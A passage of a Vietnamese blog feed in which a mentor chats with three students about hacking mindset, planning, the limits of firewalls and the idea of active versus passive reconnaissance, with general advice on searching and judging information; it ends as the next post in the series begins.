trước rồi. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Trong giới hạn bài tập ở trường mà Khoa đưa ra ở đây thì anh dám chắc một điều: em đạt kết quả cao hơn nếu em 'chuẩn bị kế hoạch' kỹ lưỡng; em đạt kết quả thấp hơn nếu em bắt tay vào thực hiện liền mà không chuẩn bị hoặc ít chuẩn bị. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Trên bình diện bảo mật, nhiều người cho rằng viết software thế nào thì viết, miễn sao nó chạy là tốt. Muốn bảo vệ hệ thống thì chỉ cài firewall, gắn những thiết bị bảo mật vào là đâu vào đó. Đây là một cách nhìn phiến diện. Nếu em quan tâm đến bảo mật và thâm nhập thì đây là một chi tiết quan trọng đó. Firewall chỉ cản không cho phép truy cập các dịch vụ bị 'cấm' và ở mức độ nào đó, nó cản một số trường hợp thâm nhập điển hình. Không có firewall nào có thể cản lọc mọi hình thức đăng nhập dữ liệu (vô tình hoặc cố ý) có thể gây ra vấn đề hư hoại cho hệ thống cả." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' phát biểu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em công nhận anh nói rất có lý. Chắc bọn em phải ứng dụng thử xem sao. Hình như anh có vẻ chú trọng đến 'thái độ' tiếp cận và khai triển vấn đề hơn là chi tiết khai triển cụ thể như thế nào phải không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chà, hôm nay 'cuti' nhận xét tinh tế lắm. Đúng như thế. Chi tiết khai triển thế nào thì chỉ cần có thời gian và thông tin thu thập được là khai triển được. Tuy nhiên, 'thái độ' thì chỉ có thể xác định đúng một lần ngay từ đầu mà thôi. Nếu tiếp cận và khai triển với thái độ không đúng mức thì cho dù có bao nhiêu cách khai triển (có sẵn) cũng có thể dẫn đến kết quả không hoàn toàn như ý." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' khoái chí: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, không ít thì nhiều cũng thu thập được gì đó chớ anh? ;-)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' Duy hỏi tiếp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Bây giờ em hỏi những việc gì cần chuẩn bị cho kỹ thuật "reconnaissance" được không anh? Hồi nãy anh có đề cập đến chuyện chuyên viên bảo mật, người thâm nhập và lập trình viên giỏi đều có khả năng chuẩn bị kế hoạch. Vậy trong việc dò tìm thông tin của một hệ thống đòi hỏi phải chuẩn bị những gì vậy anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hà hà, em thấy 'ngứa ngáy' với 'reconnaissance' hả? Rồi, thì mình bàn thử. Hãy nhìn 'reconnaissance' như một công tác và đã là một công tác thì nó phải có nhu cầu cụ thể. Em còn nhớ chuyện 'nhu cầu cụ thể' mà mình đã đà khía trước đây hông?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ nhớ chớ anh. Anh muốn em trả lời nhu cầu cụ thể của em cho việc 'reconnaissance' là gì hả?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, phải có nhu cầu cụ thể thì mình mới khai triển được chớ em :)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em nghĩ 'reconnaissance' là tìm hiểu xem hệ thống mình muốn thâm nhập có những dịch vụ gì, nó chạy trên môi trường nào, nó thuộc mô hình mạng ra sao, có những điểm mạnh yếu gì... để giúp mình hình thành phương án thâm nhập (hay bảo vệ) cho sâu sát. Đó là những điểm em 'gặt hái' được từ những lần mấy anh em mình nói chuyện," &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười và khơi mào thêm: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Vậy, nhu cầu cụ thể là biết rõ mục tiêu để tìm cách thâm nhập nó phải không? Bây giờ để hình thành kế hoạch cụ thể, mình sẽ thăm dò cái gì trước? cái gì sau? làm sao mình xác định được những thông tin mình tìm kiếm là xác thực? những phương tiện nào mình sẽ dùng để thăm dò?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' xen vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ái chà, nãy giờ ngẫm nghĩ em mới thấy những gì anh em mình đà khía từ trước đến giờ đều có liên quan mật thiết với nhau. Công nhận độc thật.. độc thật." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' thắc mắc: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Pa lại lảm nhảm gì nữa đó pa?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' giải thích: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Nè nè, đầu tiên mình bàn chuyện 'hack' là gì, sau đó mình bàn đến chuyện muốn 'thâm nhập' phải biết rõ cái mình muốn 'thâm nhập'. Kế tiếp mình đào xới chuyện 'biết rõ' là phải biết thế nào, phải nắm ngọn ngành ra làm sao. Rồi đến chuyện những giềng mối trong quá trình thu thập để có thể 'biết rõ'. Kế đến là kỹ năng nhìn nhận và tiếp nhận vấn đề từ nhiều phía. Lại thêm chuyện phải có kế hoạch để khai triển việc mình cần làm sau khi xác định rõ nhu cầu cụ thể. Những điểm này không liên quan mật thiết với nhau thì là gì nữa ông cụ?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' gật gù: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"À há, tao thua mày đó Hưng. Tao cố tổng hợp lại những thứ này mà không được và nó cứ rối bòng bong lên." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' phấn khích nhưng làm ra vẻ khiêm tốn: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Đâu có gì đâu mày. Chỉ cần xét lại trọn bộ những điểm cốt lõi mà bọn mình đã bàn thì ra liền thôi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi nhận xét: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em tổng hợp vậy là xuất sắc đó Hưng. Phần còn lại chỉ là ứng dụng sao cho uyển chuyển thôi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' không kìm được: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ặc ặc, tưởng đâu đầu óc bị lú lẫn rồi chớ. Lâu lâu nói đúng một phát, được khen một phát sướng lên mây... ặc ặc, hu hu." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Lúc này 'docco' mới xen vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Mấy pa này cứ cắt ngang hoài. Người ta đang nói chuyện 'recconnaissance' mà trời!" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trấn an 'docco': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Lo gì em. Mình còn ngày dài tháng rộng để nói chuyện mà. Anh thấy Hưng tổng kết như vậy là chuyện rất nên làm đó. Ok, hồi nãy mình đang nói tới đâu rồi nhỉ?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' hình như đã gõ sẵn nên thông điệp của cu cậu hiện ra trên màn hình gần như ngay sau khi tôi trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, hồi nãy đến đoạn anh hỏi là mình sẽ thăm dò cái gì trước? cái gì sau. Cách nào xác định được những thông tin tìm kiếm là xác thực. Những phương tiện nào sẽ dùng để thăm dò đó anh. Những điểm anh đưa ra ở đây chính là những điểm em thắc mắc đó. Mình thăm dò cái gì trước, cái gì sau có quan trọng không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, có lẽ mình nên khai triển từng phần một để đỡ rối rắm. Theo anh thấy, thăm dò có hai loại chính: động và tĩnh. Mỗi loại gắn liền với cái gọi là 'trước' và 'sau'. Điểm quan trọng hàng đầu của việc thăm dò là làm sao thu thập được thông tin xác thực nhất nhưng lại kín đáo nhất, ít bị phát hiện nhất." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' reo lên: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ái chà, thăm dò có 'động' và 'tĩnh' sao anh? Lần đầu tiên em nghe đó." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, động và tĩnh là hai từ anh tạm dịch sang tiếng Việt. Đúng ra nó là "active" và "passive" theo tiếng Anh. "Active" ở đây là 'động' nhưng nó còn có tinh thần là trực tiếp. Trong khi đó, "passive" là tĩnh và nó mang tinh thần gián tiếp. Vậy thế nào là "active" và thế nào là "passive"? active là lối thăm dò tạo ra bằng cách tương tác trực tiếp với hệ thống mình muốn thăm dò và passive là lối thăm dò không tương tác trực tiếp." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' thắc mắc: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Nhưng làm sao mình biết được có hai dạng thăm dò 'active' và 'passive' anh? Cái này mình đọc sách hay tham khảo ở đâu vậy?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hai dạng thăm dò này quá rõ cho nên chỉ cần dùng suy luận thông thường cũng có thể xếp loại chúng thành hai dạng. Còn những cách thăm dò thế nào thì mình phải tham khảo nhiều nơi và tự tay táy máy mà ra." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' hỏi tiếp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Vậy giữa hai dạng này, cái nào cho mình thông tin chính xác hơn cái nào anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Kinh nghiệm bản thân anh thấy dạng thăm dò 'active' thường cho thông tin chính xác hơn nhưng cũng còn tuỳ mình muốn lấy thông tin gì nữa. Ví dụ như cách thăm dò để lấy thông tin về domain name, các hosts trong domain và IP của chúng thì em chỉ cần query một DNS server nào đó thì đã có thể có một số thông tin. Ngay cả em dùng các công cụ online (web-based) để lấy thông tin loại này cũng thuộc dạng 'passive' và cũng có thông tin khá chính xác (ngoại trừ công cụ online này sử dụng một DNS server nào đó có vấn đề). Nếu em muốn lấy thông tin cụ thể hơn và các hosts trong một mạng mà thông tin này không được công bố trên DNS công cộng thì phải vận dụng đến cách thăm dò 'active'. Nói tổng quát thì có những loại thông tin đòi hỏi dùng dạng 'active' thì mới lấy được. Cho nên, 'active' thì thường chính xác hơn nhưng ít kín đáo hơn, 'passive' thì kín đáo hơn nhưng những thông tin này mang tính tổng quát hơn." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' vẫn tiếp tục thắc mắc: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em vẫn thắc mắc là làm sao biết được những kỹ thuật thăm dò đây anh. Ví dụ như bọn em tay mơ, chưa biết gì hết. Bây giờ bọn em muốn thử thăm dò thì bắt đầu từ đâu anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Tất nhiên là bắt đầu từ tài liệu, thông tin trong sách, trên web, trên các forum chuyên về bảo mật hay thâm nhập. Nếu em thử dùng từ khoá 'reconnaissance' và google thử thì em sẽ thấy thông tin nhiều biết chừng nào. Theo anh thấy, cái khó không phải là phương tiện tìm thông tin mà là phương tiện thu thập, lọc lựa, thử nghiệm và ứng dụng thông tin." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' cảm thán: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ôi trời, sao em thấy bây giờ hỏi ai cái gì cũng được trả lời là 'google', 'google', 'google' vậy anh. Anh cũng đề nghị bọn em nên 'google' nữa rồi :(. Em thấy tìm thông tin trên 'google' lan man quá anh." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em không biết sao? Dùng search engine cũng là một trong những kỹ thuật 'reconnaissance' đó em. Nói chung, khả năng tìm không thể thiếu cho việc 'reconnaissance'. Không biết tìm, không thể thực hiện 'reconnaissance' hiệu quả được." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' láu lỉnh: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Vậy anh muốn bọn em học cách dùng 'google' luôn chớ gì? ;-)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, không anh muốn mà anh chỉ đề nghị mà thôi. Thời buổi này 'information is gold'. Information thì có khắp nơi. Em lên web thì từ thứ rác rưởi đến những thông tin cực kỳ quý giá đều có. Chỉ có em tự đào luyện cho mình kỹ năng tìm thông tin (bằng google hay bất cứ search engine nào) và kỹ năng chọn lọc thông tin. Càng có thể thu thập và chọn lọc thông tin, em càng 'đi trước' những người khác trên phương diện này." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' phân bua: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, em chỉ đùa thôi mà. Em biết 'google' và các search engine khác có những thông tin cực kỳ quý giá. Em chỉ thấy khó ở chỗ dùng cách nào để tìm và làm sao biết được thông tin nào cần lấy, thông tin nào không cần lấy thôi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em vào bất cứ trang chủ của bất cứ search engine nào cũng có thể thấy không ít thì nhiều hướng dẫn cách 'search', em nên đọc kỹ hướng dẫn để dùng cho hiệu quả. Sở dĩ ai cũng nhắc đến 'google' vì hiện nay nó là 'máy tìm' số một. Thật ra không có nhiều người thực sự sử dụng đúng mức chức năng của google để tìm thông tin và phần lớn là do không chịu đọc hướng dẫn của google đưa ra. Anh thấy gần đây đám O'Reilly còn xuất bản cả cuốn "google hack" nữa. Anh chưa đọc cuốn này nhưng anh đoán là nó giới thiệu những thủ thuật tìm kiếm trên google và những thủ thuật này đi từ phần hướng dẫn của google mà ra. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Riêng việc biết thông tin nào cần lấy hay không thì đây là vấn đề kinh nghiệm. Em phải cần thời gian để bồi đắp kinh nghiệm này. Kinh nghiệm bản thân thì anh không 'tin' ngay vào nguồn thông tin anh kiếm được. Anh thường tìm cả tìm nguồn thông tin khác để đối chứng và khi có điều kiện, anh tự tay 'táy máy' để xác thực giá trị của thông tin anh tìm được. Lâu ngày tự nhiên có kinh nghiệm nhiều hơn, mình có thể xác định được nguồn tin nào đáng tin và nguồn tin nào cần xét lại. Cũng từ kinh nghiệm, đôi khi đọc một đoạn thông tin em có thể xác định thông tin này đáng tin hay không dựa trên tính logic của nó, dựa trên sự liền lạc và sự vững vàng trong cấu trúc của nó." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' rên rỉ: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ôi trời, sao mà khó quá vậy anh? :(. Bọn em đọc tiếng Anh chưa nên thân mà anh còn bắt phải 'dính' vào chỗ xem nội dung thông tin để đánh giá và thu lượm chúng thì làm sao làm nổi? Hoạ may bọn em có tiếng Anh thật chiến, có khả năng đọc, nhớ và phân tích nhanh như... điện." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' chêm vào thêm: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em cũng thấy như vậy đó. Đưa em một cuốn sách của OReilly, của Wiley hay của Syngress đã xuất bản, đã biên tập và chọn lựa hẳn hòi, em đọc mà thấy muốn chảy... mỡ ra, huống hồ chi thông tin tản mạn trên net. Anh có cách gì khác không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, bởi thế mấy nhà xuất bản mới kiếm sống được chớ em? trên 90% những gì được in trên sách đi từ những thông tin có trên Internet. Thông tin được trao đổi từ các newsgroup, từ các forums, từ những nhóm bug track, từ các security articles, từ trường đại học, từ các nhóm nghiên cứu... được thu thập, lọc lựa, tuyển chọn và được viết lại bằng sách một cách có hệ thống, có logic, bằng thứ ngôn ngữ ai cũng có thể tiếp nhận được. Tuy nhiên, không phải sách nào cũng có nội dung hoàn toàn chính xác và một điều quan trọng là khi sách được in ra thì những thông tin này gần như đã lỗi thời so với thực tế. Nhất là với lĩnh vực công nghệ thông tin và đặc biệt là bảo mật." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' tiếp tục: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Vậy anh nghĩ bọn em phải làm sao bây giờ?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Làm sao? Thì em vẫn đi học, vẫn đọc sách giáo khoa cho cẩn thận, vẫn đào luyện cho mình khả năng tiếp nhận thông tin theo dạng 'hàn lâm' ở trường và bắt đầu làm quen với mớ 'hỗn độn' trên Internet chớ sao? ;-)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' nhăn nhó: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Anh cứ trêu hoài :(. Em hỏi thật mà. Em cũng cảm thấy y hệt như thằng Khoa vậy." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười phá lên rồi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thì anh nói thật mà. Câu vừa rồi anh nói hoàn toàn nghiêm túc. Em cứ thử nghiệm xem đi. Thông tin là thức ăn cho tinh thần, không ai có thể ép em phải 'ăn' cái gì cả. Họ chỉ có thể đề nghị em nên chọn thức ăn ra sao và cách tổng quát để 'tiêu hoá' thức ăn mà thôi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' tiu nghỉu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chắc phải vậy rồi. Em chợt nhớ một chi tiết mình 'đà khía' trước đây: đều đặn và điều độ; nguyên tắc '4 đê' đó anh. Phải có '4 đê' thì hoạ may mới hình thành được mớ kỹ năng cần thiết để 'chọn thức ăn và tiêu hoá thức ăn' phải không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Đúng rồi đó em. Chắc chắn phải cần '4 đê'. Thôi khuya rồi, anh phải đi ngủ mai còn đi làm sớm. Lần sau mình 'đà khía' vài chi tiết về 'reconnaissance' cho vui nha?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' nhanh nhảu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, quá đã đó anh." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' kỳ nèo: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hứa đó nhe anh. Lần nào mình cũng sa đà vào những chuyện khác." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' hóm hỉnh: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em thì cái gì cũng được hết. Miễn sao ngồi đà khía như thế này là vui rồi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, nhất định mình sẽ bàn chuyện này mà Duy. Anh chỉ thấy nó chưa quá sức quan trọng lúc này thôi. Anh muốn em có 'right set of mind' trước khi đi vào chỗ đó :). OK, bye mấy ku." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;và tôi logoff. Đồng hồ cũng vừa gõ mười tiếng. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;7/9/2005 &lt;/span&gt;&lt;br /&gt;&lt;còn style="font-family: arial; font-weight: bold;" p=""&gt;&lt;br /&gt;&lt;/còn&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-7</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-7.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:08:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-7597869359156703773</guid><description>&lt;title&gt;Rookie07&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-family: arial; font-weight: bold;" href="./Rookie07_files/filelist.xml" rel="File-List"&gt; &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:blue; 	text-decoration:underline; 	text-underline:single;} p 	{margin-right:0cm; 	mso-margin-top-alt:auto; 	mso-margin-bottom-alt:auto; 	margin-left:0cm; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} pre 	{margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Courier New";} span.maintitle 	{mso-style-name:maintitle;} span.mainmenu 	{mso-style-name:mainmenu;} span.topmenu 	{mso-style-name:topmenu;} span.forumtitle 	{mso-style-name:forumtitle;} span.nav 	{mso-style-name:nav;} span.moderator 	{mso-style-name:moderator;} span.uprofile 	{mso-style-name:uprofile;} span.online 	{mso-style-name:online;} span.postbody 	{mso-style-name:postbody;} span.quotetxt 	{mso-style-name:quotetxt;} span.smltxt 	{mso-style-name:smltxt;} span.gensmall 	{mso-style-name:gensmall;} span.gen 	{mso-style-name:gen;} span.copyright 	{mso-style-name:copyright;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-family: arial; font-weight: bold;" class="Section1"&gt; &lt;p class="MsoNormal"&gt;&lt;span class="postbody"&gt;10. "Hai mặt" của vấn đề - 'nhu cầu  cụ thể': &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tuần này, tôi liên tục nhận mail  và offline message từ bộ ba Khoa, Hưng, Duy nhưng 'docco' Duy là người gởi nhiều  nhất và thường xuyên nhất. Điều làm tôi thích thú khi đọc mail và offline  messages của 'docco' là vì tính chín chắn và cẩn thận của cu cậu. Hẳn nhiên  'docco' Duy vẫn phảng phất hơi hám của một 'rookie', điều này hẳn không tránh  khỏi nhưng so với 'cuti' và 'haothu', những phát biểu và nhận định của 'docco'  có trọng lượng khác hẳn. Có lẽ cu cậu đã suy nghĩ kỹ trước khi nói. Tôi cảm mến  từng cậu trong bộ ba này, mỗi người một vẻ, mỗi người đều có ưu khuyết điểm. Tuy  nhiên, một điều làm tôi cảm thấy không bị 'phí' là cả ba cậu đều tỏ vẻ thật sự  chuyên chú vào những điều chúng tôi bàn cãi. &lt;/i&gt;&lt;/span&gt;&lt;i&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Hôm qua tôi nhận được một e-mail từ 'docco' như  sau:&lt;/span&gt;&lt;/i&gt;&lt;span class="postbody"&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh D thân  mến, &lt;/span&gt;
&lt;br /&gt;
